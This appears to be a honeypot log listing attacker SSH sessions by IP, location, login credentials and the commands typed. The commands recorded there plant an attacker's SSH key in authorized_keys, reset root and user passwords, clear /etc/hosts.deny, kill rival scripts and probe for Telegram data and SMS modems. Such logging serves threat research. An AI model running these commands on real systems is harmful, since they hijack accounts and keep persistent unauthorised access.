$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ×2 // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l ×2 // CPU profiling

$ echo "root:1Mc6ks7EK2ad"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; ×2 // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' ×2 // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}' ×2

$ ls -lh $(which ls) ×2

$ which ls ×2

$ crontab -l ×2 // persistence setup

$ w ×2 // logged-in users check

$ uname -m ×2

$ cat /proc/cpuinfo | grep model | grep name | wc -l ×2 // CPU profiling

$ top ×2 // process monitoring

$ uname ×2 // OS identification

$ uname -a ×2 // OS/kernel identification

$ whoami ×2 // privilege check

$ lscpu | grep Model ×2

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}' ×2

$ echo "root:ObzYVn8wxn8u"|chpasswd|bash

🎭 dragon_root_16 (14.103.114.85) — Beijing, China · 1 session · 19 cmds

2026-07-01 15:42 EDT · as root/Abcd!@#$%^

Ran uname 3x across 3 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo "root:nNMmavOkNA1h"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 carnival_root_5 (186.0.147.16) — Araçatuba, Brazil · 1 session · 1 cmd

2026-07-01 14:07 EDT · as root/cryptolendify2023!

echo

$ echo "test"

🎭 chateau_root_4 (92.205.54.254) — Strasbourg, France · 3 sessions · 3 cmds

2026-06-30 05:58 EDT · as root/blackcat

Ran uname 3x across 3 sessions — automated OS fingerprinting.

$ uname -a ×3 // OS/kernel identification

🎭 phantom_root_45 (195.199.210.194) — Jászfényszaru, Hungary · 1 session · 19 cmds

2026-07-01 13:08 EDT · as root/popo

Ran uname 3x across 3 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo "root:LeOf8SZc7Q9L"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 crepe_root_4 (146.88.238.251) — Paris, France · 2 sessions · 2 cmds

2026-07-01 10:39 EDT · as root/blackcat

Ran uname 2x across 2 sessions — automated OS fingerprinting.

$ uname -a ×2 // OS/kernel identification

🎭 tsar_root_7 (185.64.76.202) — Rzhev, Russia · 4 sessions · 4 cmds

2026-07-01 08:41 EDT · as root/blackcat

Ran uname 4x across 4 sessions — automated OS fingerprinting.

$ uname -a ×4 // OS/kernel identification

🎭 cipher_root_9 (196.0.242.54) — Kampala, Uganda · 1 session · 20 cmds

2026-07-01 11:48 EDT · as ancien/ancien123

Ran uname 4x across 4 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo -e "ancien123\nsYB2BtZAMOef\nsYB2BtZAMOef"|passwd|bash

$ Enter new UNIX password:

$ echo "ancien123\nsYB2BtZAMOef\nsYB2BtZAMOef\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 cipher_2 (176.97.192.83) — Lagos, Nigeria · 1 session · 20 cmds

2026-07-01 11:41 EDT · as patrick/patrick123

Ran uname 4x across 4 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo -e "patrick123\nxwqZAdGDyfrd\nxwqZAdGDyfrd"|passwd|bash

$ Enter new UNIX password:

$ echo "patrick123\nxwqZAdGDyfrd\nxwqZAdGDyfrd\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 ghost_root_37 (195.228.152.90) — Budapest, Hungary · 3 sessions · 3 cmds

2026-07-01 05:25 EDT · as root/blackcat

Ran uname 3x across 3 sessions — automated OS fingerprinting.

$ uname -a ×3 // OS/kernel identification

🎭 crumpet_root_4 (185.161.16.2) — Hemel Hempstead, United Kingdom · 2 sessions · 2 cmds

2026-07-01 10:26 EDT · as root/blackcat

Ran uname 2x across 2 sessions — automated OS fingerprinting.

$ uname -a ×2 // OS/kernel identification

🎭 yankee_root_11 (198.98.56.205) — New York, United States · 1 session · 19 cmds

2026-07-01 09:47 EDT · as root/10086

Ran uname 2x across 2 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo "root:yPUZGACPsaFm"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 shadow_root_38 (186.147.162.215) — Cali, Colombia · 1 session · 20 cmds

2026-07-01 09:42 EDT · as gitlab-runner/123qwe

Ran uname 2x across 2 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo -e "123qwe\nWETytyuXFSv3\nWETytyuXFSv3"|passwd|bash

$ Enter new UNIX password:

$ echo "123qwe\nWETytyuXFSv3\nWETytyuXFSv3\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 phantom_root_46 (45.202.1.192) — Chai Wan, Hong Kong · 1 session · 19 cmds

2026-07-01 09:42 EDT · as root/333333

Ran uname 2x across 2 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo "root:mTyXHzlvmpzq"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 shadow_root_39 (185.153.231.44) — Bursa, Turkey · 1 session · 19 cmds

2026-07-01 09:38 EDT · as root/10086

Ran uname 2x across 2 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo "root:okxS8MeArjZE"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 cipher_pi (20.187.184.86) — Hong Kong, Hong Kong · 1 session · 20 cmds

2026-07-01 08:00 EDT · as weixin/weixin

Ran uname 2x across 2 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo -e "weixin\nlpXqIj5FIjHj\nlpXqIj5FIjHj"|passwd|bash

$ Enter new UNIX password:

$ echo "weixin\nlpXqIj5FIjHj\nlpXqIj5FIjHj\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 wok_root_11 (120.133.60.156) — Chaowai, China · 1 session · 1 cmd

2026-07-01 06:16 EDT · as swissmp/swissmp$2023

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -a // OS/kernel identification

🎭 rogue_root_44 (31.97.111.190) — Jakarta, Indonesia · 1 session · 1 cmd

2026-07-01 06:15 EDT · as swissmp/Swissmp2024#

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -a // OS/kernel identification

🎭 wraith (160.22.170.38) — Go Vap, Vietnam · 1 session · 20 cmds

2026-07-01 06:01 EDT · as yakutsk/yakutsk123

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo -e "yakutsk123\n8zdF4DkKnZt6\n8zdF4DkKnZt6"|passwd|bash

$ Enter new UNIX password:

$ echo "yakutsk123\n8zdF4DkKnZt6\n8zdF4DkKnZt6\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 shadow_root_40 (135.181.107.18) — Helsinki, Finland · 1 session · 1 cmd

2026-07-01 05:58 EDT · as root/root123456

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -s -m

🎭 shadow_root_41 (193.163.187.123) — Durrës, Albania · 1 session · 9 cmds

2026-07-01 05:27 EDT · as root/root

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ /ip cloud print

$ ifconfig // network mapping

$ uname -a // OS/kernel identification

$ cat /proc/cpuinfo // CPU profiling

$ ps | grep '[Mm]iner'

$ ps -ef | grep '[Mm]iner'

$ ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*

$ locate D877F783D5D3EF8Cs

$ echo Hi | cat -n

🎭 kimchi (125.244.114.221) — Gangdong-gu, South Korea · 1 session · 20 cmds

2026-07-01 05:13 EDT · as adv/123456

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo -e "123456\nuX9hpXagxzaA\nuX9hpXagxzaA"|passwd|bash

$ Enter new UNIX password:

$ echo "123456\nuX9hpXagxzaA\nuX9hpXagxzaA\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 crepe_root (92.205.210.56) — Strasbourg, France · 3 sessions · 3 cmds

2026-06-30 05:39 EDT · as root/Jmx2019, root/blackcat

Ran uname 3x across 3 sessions — automated OS fingerprinting.

$ uname -a ×3 // OS/kernel identification

🎭 wok_root_12 (120.48.139.147) — Beijing, China · 1 session · 1 cmd

2026-07-01 05:07 EDT · as root/Swissmp2020!

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -a // OS/kernel identification

🎭 borscht_root_3 (212.67.14.197) — St Petersburg, Russia · 1 session · 1 cmd

2026-07-01 04:37 EDT · as root/blackcat

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -a // OS/kernel identification

🎭 liberty_root_17 (195.35.8.45) — Phoenix, United States · 1 session · 1 cmd

2026-07-01 04:33 EDT · as root/123@Swissmp

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -a // OS/kernel identification

🎭 stroopwafel_root_4 (94.154.43.254) — Amsterdam, The Netherlands · 1 session · 1 cmd

2026-07-01 02:48 EDT · as root/root

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -a ; echo 'vT'

🎭 cipher (139.59.231.23) — Singapore, Singapore · 1 session · 20 cmds

2026-07-01 02:24 EDT · as guard/guard

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo -e "guard\nW1e3eqUl0USE\nW1e3eqUl0USE"|passwd|bash

$ Enter new UNIX password:

$ echo "guard\nW1e3eqUl0USE\nW1e3eqUl0USE\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 monsoon_pi (4.224.59.75) — Pune, India · 2 sessions · 40 cmds

2026-07-01 02:19 EDT · as athens/athens123, elpaso/123456

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh ×2 // file attribute tampering

